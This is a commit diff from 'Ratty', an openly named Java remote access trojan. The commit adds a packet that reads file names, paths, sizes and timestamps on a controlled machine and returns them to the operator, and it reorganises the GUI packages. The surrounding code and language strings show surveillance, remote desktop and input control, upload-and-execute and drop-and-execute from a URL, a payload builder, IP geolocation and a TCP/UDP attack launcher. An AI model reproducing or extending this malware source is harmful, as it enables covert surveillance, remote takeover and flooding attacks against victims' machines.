Browse Source

Major changes

Added FileInformationPacket class
Cleanups
master
Sogomn 9 years ago
parent
commit
8e4768e0b3
  1. BIN
      Ratty/res/gui_tree_icons.png
  2. 11
      Ratty/res/language/lang.properties
  3. 11
      Ratty/res/language/lang_de.properties
  4. 11
      Ratty/res/language/lang_en.properties
  5. 6
      Ratty/src/de/sogomn/rat/Client.java
  6. 6
      Ratty/src/de/sogomn/rat/Ratty.java
  7. 10
      Ratty/src/de/sogomn/rat/gui/ChatWindow.java
  8. 14
      Ratty/src/de/sogomn/rat/gui/DisplayPanel.java
  9. 14
      Ratty/src/de/sogomn/rat/gui/FileTree.java
  10. 2
      Ratty/src/de/sogomn/rat/gui/FileTreeNode.java
  11. 7
      Ratty/src/de/sogomn/rat/gui/IGuiController.java
  12. 2
      Ratty/src/de/sogomn/rat/gui/Notification.java
  13. 2
      Ratty/src/de/sogomn/rat/gui/server/IRattyGui.java
  14. 3
      Ratty/src/de/sogomn/rat/gui/server/RattyGui.java
  15. 68
      Ratty/src/de/sogomn/rat/gui/server/RattyGuiController.java
  16. 36
      Ratty/src/de/sogomn/rat/gui/server/ServerClient.java
  17. 2
      Ratty/src/de/sogomn/rat/gui/server/ServerClientTableModel.java
  18. 125
      Ratty/src/de/sogomn/rat/packet/FileInformationPacket.java
  19. 3
      Ratty/src/de/sogomn/rat/packet/PacketType.java
  20. 7
      Ratty/src/de/sogomn/rat/server/gui/IGuiController.java

BIN
Ratty/res/gui_tree_icons.png

Before

Width: 48  |  Height: 48  |  Size: 626 B

After

Width: 48  |  Height: 48  |  Size: 669 B

11
Ratty/res/language/lang.properties

@ -7,6 +7,7 @@ server.port_error=Invalid port.
server.free_warning=The client won't be available until the device restarts.\r\n\
Continue?
server.yes=Yes
server.no=No
server.cancel=Cancel
server.tcp=TCP
server.udp=UDP
@ -23,6 +24,15 @@ menu.surveillance=Surveillance
menu.utility=Utility
menu.other=Other
file_information.name=File name
file_information.path=Path
file_information.size=File size
file_information.directory=Directory
file_information.creation=Date of creation
file_information.last_access=Last access
file_information.last_modification=Last modification
file_information.bytes=Bytes
action.popup=Open popup
action.screenshot=Take screensot
action.desktop=Toggle desktop stream
@ -45,6 +55,7 @@ action.upload_execute=Upload and execute file
action.drop_file=Drop file
action.drop_execute=Drop and execute file
action.chat=Open chat
action.file_information=Get file information
column.name=Name
column.location=Location

11
Ratty/res/language/lang_de.properties

@ -7,6 +7,7 @@ server.port_error=Ung
server.free_warning=Der Client wird bis zum Neustart des Gerätes nicht erreichbar sein.\r\n\
Fortfahren?
server.yes=Ja
server.no=Nein
server.cancel=Abbrechen
server.tcp=TCP
server.udp=UDP
@ -23,6 +24,15 @@ menu.surveillance=
menu.utility=Werkzeuge
menu.other=Anderes
file_information.name=Dateiname
file_information.path=Pfad
file_information.size=Dateigröße
file_information.directory=Verzeichnis
file_information.creation=Datum der Erstellung
file_information.last_access=Letzer Aufruf
file_information.last_modification=Letzte Bearbeitung
file_information.bytes=Bytes
action.popup=Popup öffnen
action.screenshot=Screenshot machen
action.desktop=Desktopstream an/aus
@ -45,6 +55,7 @@ action.upload_execute=Datei hochladen und ausf
action.drop_file=Datei aus dem Internet laden
action.drop_execute=Datei aus dem Internet ausführen
action.chat=Chat öffnen
action.file_information=Dateiinformationen anzeigen
column.name=Name
column.location=Ort

11
Ratty/res/language/lang_en.properties

@ -7,6 +7,7 @@ server.port_error=Invalid port.
server.free_warning=The client won't be available until the device restarts.\r\n\
Continue?
server.yes=Yes
server.no=No
server.cancel=Cancel
server.tcp=TCP
server.udp=UDP
@ -23,6 +24,15 @@ menu.surveillance=Surveillance
menu.utility=Utility
menu.other=Other
file_information.name=File name
file_information.path=Path
file_information.size=File size
file_information.directory=Directory
file_information.creation=Date of creation
file_information.last_access=Last access
file_information.last_modification=Last modification
file_information.bytes=Bytes
action.popup=Open popup
action.screenshot=Take screensot
action.desktop=Toggle desktop stream
@ -45,6 +55,7 @@ action.upload_execute=Upload and execute file
action.drop_file=Drop file
action.drop_execute=Drop and execute file
action.chat=Open chat
action.file_information=Get file information
column.name=Name
column.location=Location

6
Ratty/src/de/sogomn/rat/Client.java

@ -1,10 +1,10 @@
package de.sogomn.rat;
import de.sogomn.rat.gui.ChatWindow;
import de.sogomn.rat.gui.IGuiController;
import de.sogomn.rat.packet.ChatPacket;
import de.sogomn.rat.packet.IPacket;
import de.sogomn.rat.packet.VoicePacket;
import de.sogomn.rat.server.gui.ChatWindow;
import de.sogomn.rat.server.gui.IGuiController;
import de.sogomn.rat.util.VoiceRecorder;
public final class Client implements IConnectionObserver, IGuiController {
@ -18,7 +18,7 @@ public final class Client implements IConnectionObserver, IGuiController {
public Client(final ActiveConnection connection) {
this.connection = connection;
chat = new ChatWindow(this);
chat = new ChatWindow();
chat.addListener(this);
}

6
Ratty/src/de/sogomn/rat/Ratty.java

@ -12,9 +12,9 @@ import javax.swing.UIManager;
import javax.swing.plaf.nimbus.NimbusLookAndFeel;
import de.sogomn.engine.util.FileUtils;
import de.sogomn.rat.gui.server.RattyGui;
import de.sogomn.rat.gui.server.RattyGuiController;
import de.sogomn.rat.server.ActiveServer;
import de.sogomn.rat.server.gui.RattyGui;
import de.sogomn.rat.server.gui.RattyGuiController;
/*
* This class is kinda hardcoded.
@ -24,7 +24,7 @@ import de.sogomn.rat.server.gui.RattyGuiController;
public final class Ratty {
public static final boolean DEBUG = true;
public static final String VERSION = "1.19.2";
public static final String VERSION = "1.20.0";
public static final ResourceBundle LANGUAGE = ResourceBundle.getBundle("language.lang");
private static String address;

10
Ratty/src/de/sogomn/rat/server/gui/ChatWindow.java → Ratty/src/de/sogomn/rat/gui/ChatWindow.java

@ -1,4 +1,4 @@
package de.sogomn.rat.server.gui;
package de.sogomn.rat.gui;
import java.awt.BorderLayout;
import java.awt.Container;
@ -16,8 +16,6 @@ import de.sogomn.engine.util.ImageUtils;
public final class ChatWindow extends AbstractListenerContainer<IGuiController> {
private Object userObject;
private JFrame frame;
private JTextArea chat;
private JTextField submit;
@ -30,9 +28,7 @@ public final class ChatWindow extends AbstractListenerContainer<IGuiController>
public static final String MESSAGE_SENT = "Message sent";
public ChatWindow(final Object userObject) {
this.userObject = userObject;
public ChatWindow() {
frame = new JFrame();
chat = new JTextArea();
submit = new JTextField();
@ -65,7 +61,7 @@ public final class ChatWindow extends AbstractListenerContainer<IGuiController>
if (!message.isEmpty()) {
this.message = message;
notifyListeners(controller -> controller.userInput(MESSAGE_SENT, userObject));
notifyListeners(controller -> controller.userInput(MESSAGE_SENT, this));
addLine(USER_PREFIX + message);
}

14
Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java → Ratty/src/de/sogomn/rat/gui/DisplayPanel.java

@ -1,4 +1,4 @@
package de.sogomn.rat.server.gui;
package de.sogomn.rat.gui;
import java.awt.Color;
import java.awt.Graphics2D;
@ -19,8 +19,6 @@ import de.sogomn.rat.util.FrameEncoder.IFrame;
public final class DisplayPanel extends AbstractListenerContainer<IGuiController> implements IMouseListener, IKeyboardListener {
private Object userObject;
private String title;
private Screen screen;
private BufferedImage image;
@ -35,8 +33,8 @@ public final class DisplayPanel extends AbstractListenerContainer<IGuiController
public static final String KEY_EVENT = "Key event";
public static final String CLOSED = "Closed";
public DisplayPanel(final Object userObject) {
this.userObject = userObject;
public DisplayPanel() {
//...
}
private Screen createScreen(final int screenWidth, final int screenHeight) {
@ -44,7 +42,7 @@ public final class DisplayPanel extends AbstractListenerContainer<IGuiController
final WindowAdapter windowAdapter = new WindowAdapter() {
@Override
public void windowClosing(final WindowEvent w) {
notifyListeners(controller -> controller.userInput(CLOSED, userObject));
notifyListeners(controller -> controller.userInput(CLOSED, this));
}
};
@ -110,7 +108,7 @@ public final class DisplayPanel extends AbstractListenerContainer<IGuiController
lastMouseEventPacket = new MouseEventPacket(x, y, buttonEvent, type);
notifyListeners(controller -> controller.userInput(MOUSE_EVENT, userObject));
notifyListeners(controller -> controller.userInput(MOUSE_EVENT, this));
}
@Override
@ -129,7 +127,7 @@ public final class DisplayPanel extends AbstractListenerContainer<IGuiController
lastKeyEventPacket = new KeyEventPacket(key, type);
notifyListeners(controller -> controller.userInput(KEY_EVENT, userObject));
notifyListeners(controller -> controller.userInput(KEY_EVENT, this));
}
public void close() {

14
Ratty/src/de/sogomn/rat/server/gui/FileTree.java → Ratty/src/de/sogomn/rat/gui/FileTree.java

@ -1,4 +1,4 @@
package de.sogomn.rat.server.gui;
package de.sogomn.rat.gui;
import static de.sogomn.rat.Ratty.LANGUAGE;
@ -24,8 +24,6 @@ import de.sogomn.engine.util.ImageUtils;
public final class FileTree extends AbstractListenerContainer<IGuiController> {
private Object userObject;
private JFrame frame;
private FileTreeNode root;
private JTree tree;
@ -47,6 +45,7 @@ public final class FileTree extends AbstractListenerContainer<IGuiController> {
public static final String DELETE = LANGUAGE.getString("action.delete");
public static final String NEW_DIRECTORY = LANGUAGE.getString("action.new_directory");
public static final String DROP_FILE = LANGUAGE.getString("action.drop_file");
public static final String INFORMATION = LANGUAGE.getString("action.file_information");
private static final String[] COMMANDS = {
REQUEST,
@ -55,12 +54,11 @@ public final class FileTree extends AbstractListenerContainer<IGuiController> {
EXECUTE,
DELETE,
NEW_DIRECTORY,
DROP_FILE
DROP_FILE,
INFORMATION
};
public FileTree(final Object userObject) {
this.userObject = userObject;
public FileTree() {
frame = new JFrame();
root = new FileTreeNode(ROOT_NAME);
tree = new JTree(root);
@ -118,7 +116,7 @@ public final class FileTree extends AbstractListenerContainer<IGuiController> {
private void menuItemClicked(final ActionEvent a) {
final String command = a.getActionCommand();
notifyListeners(controller -> controller.userInput(command, userObject));
notifyListeners(controller -> controller.userInput(command, this));
}
public void reload() {

2
Ratty/src/de/sogomn/rat/server/gui/FileTreeNode.java → Ratty/src/de/sogomn/rat/gui/FileTreeNode.java

@ -1,4 +1,4 @@
package de.sogomn.rat.server.gui;
package de.sogomn.rat.gui;
import java.util.ArrayList;
import java.util.Collections;

7
Ratty/src/de/sogomn/rat/gui/IGuiController.java

@ -0,0 +1,7 @@
package de.sogomn.rat.gui;
public interface IGuiController {
void userInput(final String command, final Object source);
}

2
Ratty/src/de/sogomn/rat/server/gui/Notification.java → Ratty/src/de/sogomn/rat/gui/Notification.java

@ -1,4 +1,4 @@
package de.sogomn.rat.server.gui;
package de.sogomn.rat.gui;
import javax.swing.Icon;
import javax.swing.JDialog;

2
Ratty/src/de/sogomn/rat/server/gui/IRattyGui.java → Ratty/src/de/sogomn/rat/gui/server/IRattyGui.java

@ -1,4 +1,4 @@
package de.sogomn.rat.server.gui;
package de.sogomn.rat.gui.server;
import java.io.File;

3
Ratty/src/de/sogomn/rat/server/gui/RattyGui.java → Ratty/src/de/sogomn/rat/gui/server/RattyGui.java

@ -1,4 +1,4 @@
package de.sogomn.rat.server.gui;
package de.sogomn.rat.gui.server;
import static de.sogomn.rat.Ratty.LANGUAGE;
@ -40,6 +40,7 @@ import de.sogomn.engine.fx.SpriteSheet;
import de.sogomn.engine.util.AbstractListenerContainer;
import de.sogomn.engine.util.ImageUtils;
import de.sogomn.rat.Ratty;
import de.sogomn.rat.gui.IGuiController;
public final class RattyGui extends AbstractListenerContainer<IGuiController> implements IRattyGui {

68
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java → Ratty/src/de/sogomn/rat/gui/server/RattyGuiController.java

@ -1,4 +1,4 @@
package de.sogomn.rat.server.gui;
package de.sogomn.rat.gui.server;
import static de.sogomn.rat.Ratty.LANGUAGE;
@ -6,6 +6,7 @@ import java.awt.image.BufferedImage;
import java.io.File;
import java.io.IOException;
import java.net.URL;
import java.text.SimpleDateFormat;
import java.util.HashMap;
import java.util.Set;
@ -19,6 +20,12 @@ import de.sogomn.engine.util.Scheduler;
import de.sogomn.engine.util.Scheduler.Task;
import de.sogomn.rat.ActiveConnection;
import de.sogomn.rat.builder.JarBuilder;
import de.sogomn.rat.gui.ChatWindow;
import de.sogomn.rat.gui.DisplayPanel;
import de.sogomn.rat.gui.FileTree;
import de.sogomn.rat.gui.FileTreeNode;
import de.sogomn.rat.gui.IGuiController;
import de.sogomn.rat.gui.Notification;
import de.sogomn.rat.packet.AudioPacket;
import de.sogomn.rat.packet.ChatPacket;
import de.sogomn.rat.packet.ClipboardPacket;
@ -29,6 +36,7 @@ import de.sogomn.rat.packet.DesktopPacket;
import de.sogomn.rat.packet.DownloadFilePacket;
import de.sogomn.rat.packet.DownloadUrlPacket;
import de.sogomn.rat.packet.ExecuteFilePacket;
import de.sogomn.rat.packet.FileInformationPacket;
import de.sogomn.rat.packet.FileRequestPacket;
import de.sogomn.rat.packet.FreePacket;
import de.sogomn.rat.packet.IPacket;
@ -80,8 +88,9 @@ public final class RattyGuiController extends AbstractRattyController implements
};
private static final String FREE_WARNING = LANGUAGE.getString("server.free_warning");
private static final String OPTION_YES = LANGUAGE.getString("server.yes");
private static final String OPTION_CANCEL = LANGUAGE.getString("server.cancel");
private static final String YES = LANGUAGE.getString("server.yes");
private static final String NO = LANGUAGE.getString("server.no");
private static final String CANCEL = LANGUAGE.getString("server.cancel");
private static final String OPTION_TCP = LANGUAGE.getString("server.tcp");
private static final String OPTION_UDP = LANGUAGE.getString("server.udp");
private static final String ATTACK_MESSAGE = LANGUAGE.getString("server.attack_message");
@ -90,6 +99,14 @@ public final class RattyGuiController extends AbstractRattyController implements
private static final String BUILDER_PORT_QUESTION = LANGUAGE.getString("builder.port_question");
private static final String URL_MESSAGE = LANGUAGE.getString("server.url_message");
private static final String AMOUNT_QUESTION = LANGUAGE.getString("server.amount_question");
private static final String FILE_NAME = LANGUAGE.getString("file_information.name");
private static final String FILE_PATH = LANGUAGE.getString("file_information.path");
private static final String FILE_SIZE = LANGUAGE.getString("file_information.size");
private static final String FILE_DIRECTORY = LANGUAGE.getString("file_information.directory");
private static final String FILE_CREATION = LANGUAGE.getString("file_information.creation");
private static final String FILE_LAST_ACCESS = LANGUAGE.getString("file_information.last_access");
private static final String FILE_LAST_MODIFICATION = LANGUAGE.getString("file_information.last_modification");
private static final String FILE_BYTES = LANGUAGE.getString("file_information.bytes");
private static final String FLAG_ADDRESS = "http://www.geojoe.co.uk/api/flag/?ip=";
private static final float PING_INTERVAL = 3;
@ -235,7 +252,7 @@ public final class RattyGuiController extends AbstractRattyController implements
}
private FreePacket createFreePacket() {
final boolean accepted = gui.showWarning(FREE_WARNING, OPTION_YES, OPTION_CANCEL);
final boolean accepted = gui.showWarning(FREE_WARNING, YES, CANCEL);
if (accepted) {
final FreePacket packet = new FreePacket();
@ -260,6 +277,14 @@ public final class RattyGuiController extends AbstractRattyController implements
return null;
}
private FileInformationPacket createFileInformationPacket(final ServerClient client) {
final FileTreeNode node = client.fileTree.getNodeClicked();
final String path = node.getPath();
final FileInformationPacket packet = new FileInformationPacket(path);
return packet;
}
private UploadFilePacket createUploadExecutePacket(final ServerClient client) {
final File file = gui.getFile();
@ -353,7 +378,7 @@ public final class RattyGuiController extends AbstractRattyController implements
}
private void launchAttack() {
final int input = gui.showOptions(ATTACK_MESSAGE, OPTION_TCP, OPTION_UDP, OPTION_CANCEL);
final int input = gui.showOptions(ATTACK_MESSAGE, OPTION_TCP, OPTION_UDP, CANCEL);
//AttackPacket packet = null;
@ -425,6 +450,8 @@ public final class RattyGuiController extends AbstractRattyController implements
packet = createDropExecutePacket(client);
} else if (command == ChatWindow.MESSAGE_SENT) {
packet = createChatPacket(client);
} else if (command == FileTree.INFORMATION) {
packet = createFileInformationPacket(client);
} else if (command == DisplayPanel.MOUSE_EVENT && client.isStreamingDesktop()) {
packet = client.displayPanel.getLastMouseEventPacket();
} else if (command == DisplayPanel.KEY_EVENT && client.isStreamingDesktop()) {
@ -502,6 +529,33 @@ public final class RattyGuiController extends AbstractRattyController implements
client.chat.addLine(name + ": " + message);
}
private void handleFileInformation(final ServerClient client, final FileInformationPacket packet) {
final String name = packet.getName();
final String path = packet.getPath();
final long size = packet.getSize();
final boolean directory = packet.isDirectory();
final long creationTime = packet.getCreationTime();
final long lastAccess = packet.getLastAccess();
final long lastModified = packet.getLastModified();
final SimpleDateFormat dateFormat = new SimpleDateFormat();
final String creationDate = dateFormat.format(creationTime);
final String lastAccessDate = dateFormat.format(lastAccess);
final String lastModificationDate = dateFormat.format(lastModified);
final String directoryString = directory ? YES : NO;
final StringBuilder builder = new StringBuilder();
final String message = builder
.append(FILE_NAME).append(": ").append(name).append("\r\n")
.append(FILE_PATH).append(": ").append(path).append("\r\n")
.append(FILE_SIZE).append(": ").append(size).append(" ").append(FILE_BYTES).append("\r\n")
.append(FILE_DIRECTORY).append(": ").append(directoryString).append("\r\n")
.append(FILE_CREATION).append(": ").append(creationDate).append("\r\n")
.append(FILE_LAST_ACCESS).append(": ").append(lastAccessDate).append("\r\n")
.append(FILE_LAST_MODIFICATION).append(": ").append(lastModificationDate)
.toString();
gui.showMessage(message);
}
private boolean handlePacket(final ServerClient client, final IPacket packet) {
final Class<? extends IPacket> clazz = packet.getClass();
@ -535,6 +589,10 @@ public final class RattyGuiController extends AbstractRattyController implements
final ChatPacket chat = (ChatPacket)packet;
handleChatPacket(client, chat);
} else if (clazz == FileInformationPacket.class) {
final FileInformationPacket information = (FileInformationPacket)packet;
handleFileInformation(client, information);
} else if (clazz == FreePacket.class) {
//To prevent shutdown
} else {

36
Ratty/src/de/sogomn/rat/server/gui/ServerClient.java → Ratty/src/de/sogomn/rat/gui/server/ServerClient.java

@ -1,10 +1,15 @@
package de.sogomn.rat.server.gui;
package de.sogomn.rat.gui.server;
import javax.swing.ImageIcon;
import de.sogomn.engine.util.AbstractListenerContainer;
import de.sogomn.rat.ActiveConnection;
import de.sogomn.rat.gui.ChatWindow;
import de.sogomn.rat.gui.DisplayPanel;
import de.sogomn.rat.gui.FileTree;
import de.sogomn.rat.gui.IGuiController;
final class ServerClient {
final class ServerClient extends AbstractListenerContainer<IGuiController> implements IGuiController {
private boolean loggedIn;
@ -21,9 +26,18 @@ final class ServerClient {
public ServerClient(final ActiveConnection connection) {
this.connection = connection;
displayPanel = new DisplayPanel(this);
fileTree = new FileTree(this);
chat = new ChatWindow(this);
displayPanel = new DisplayPanel();
fileTree = new FileTree();
chat = new ChatWindow();
displayPanel.addListener(this);
fileTree.addListener(this);
chat.addListener(this);
}
@Override
public void userInput(final String command, final Object source) {
notifyListeners(controller -> controller.userInput(command, this));
}
public void logIn(final String name, final String os, final String version, final ImageIcon flag) {
@ -52,18 +66,6 @@ final class ServerClient {
System.err.println();
}
public void addListener(final IGuiController controller) {
displayPanel.addListener(controller);
fileTree.addListener(controller);
chat.addListener(controller);
}
public void removeListener(final IGuiController controller) {
displayPanel.removeListener(controller);
fileTree.removeListener(controller);
chat.removeListener(controller);
}
public void setStreamingDesktop(final boolean streamingDesktop) {
this.streamingDesktop = streamingDesktop;
}

2
Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java → Ratty/src/de/sogomn/rat/gui/server/ServerClientTableModel.java

@ -1,4 +1,4 @@
package de.sogomn.rat.server.gui;
package de.sogomn.rat.gui.server;
import static de.sogomn.rat.Ratty.LANGUAGE;

125
Ratty/src/de/sogomn/rat/packet/FileInformationPacket.java

@ -0,0 +1,125 @@
package de.sogomn.rat.packet;
import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.attribute.BasicFileAttributes;
import de.sogomn.rat.ActiveConnection;
public final class FileInformationPacket extends AbstractPingPongPacket {
private String name, path;
private long size;
private byte fileType;
private long creationTime, lastAccess, lastModified;
private static final byte FILE = 0;
private static final byte DIRECTORY = 1;
private static final String FILE_SEPARATOR = "/";
public FileInformationPacket(final String path) {
this.path = path;
name = "";
}
public FileInformationPacket() {
name = path = "";
}
@Override
protected void sendRequest(final ActiveConnection connection) {
connection.writeUTF(path);
}
@Override
protected void sendData(final ActiveConnection connection) {
connection.writeUTF(name);
connection.writeUTF(path);
connection.writeLong(size);
connection.writeByte(fileType);
connection.writeLong(creationTime);
connection.writeLong(lastAccess);
connection.writeLong(lastModified);
}
@Override
protected void receiveRequest(final ActiveConnection connection) {
path = connection.readUTF();
}
@Override
protected void receiveData(final ActiveConnection connection) {
name = connection.readUTF();
path = connection.readUTF();
size = connection.readLong();
fileType = connection.readByte();
creationTime = connection.readLong();
lastAccess = connection.readLong();
lastModified = connection.readLong();
}
@Override
protected void executeRequest(final ActiveConnection connection) {
if (path.isEmpty() || path.equals(FILE_SEPARATOR)) {
return;
}
final File file = new File(path);
final Path filePath = file.toPath();
try {
final BasicFileAttributes attributes = Files.readAttributes(filePath, BasicFileAttributes.class);
name = file.getName();
path = file.getAbsolutePath();
size = attributes.size();
fileType = attributes.isDirectory() ? DIRECTORY : FILE;
creationTime = attributes.creationTime().toMillis();
lastAccess = attributes.lastAccessTime().toMillis();
lastModified = attributes.lastModifiedTime().toMillis();
} catch (final IOException ex) {
ex.printStackTrace();
}
type = DATA;
connection.addPacket(this);
}
@Override
protected void executeData(final ActiveConnection connection) {
//...
}
public String getName() {
return name;
}
public String getPath() {
return path;
}
public long getSize() {
return size;
}
public boolean isDirectory() {
return fileType == DIRECTORY;
}
public long getCreationTime() {
return creationTime;
}
public long getLastAccess() {
return lastAccess;
}
public long getLastModified() {
return lastModified;
}
}

3
Ratty/src/de/sogomn/rat/packet/PacketType.java

@ -25,7 +25,8 @@ public enum PacketType {
AUDIO(18, AudioPacket.class),
PING(19, PingPacket.class),
DOWNLOAD_URL(20, DownloadUrlPacket.class),
CHAT(21, ChatPacket.class);
CHAT(21, ChatPacket.class),
FILE_INFORMATION(22, FileInformationPacket.class);
public final byte id;
public final Class<? extends IPacket> clazz;

7
Ratty/src/de/sogomn/rat/server/gui/IGuiController.java

@ -1,7 +0,0 @@
package de.sogomn.rat.server.gui;
public interface IGuiController {
void userInput(final String command, final Object userObject);
}
Loading…
Cancel
Save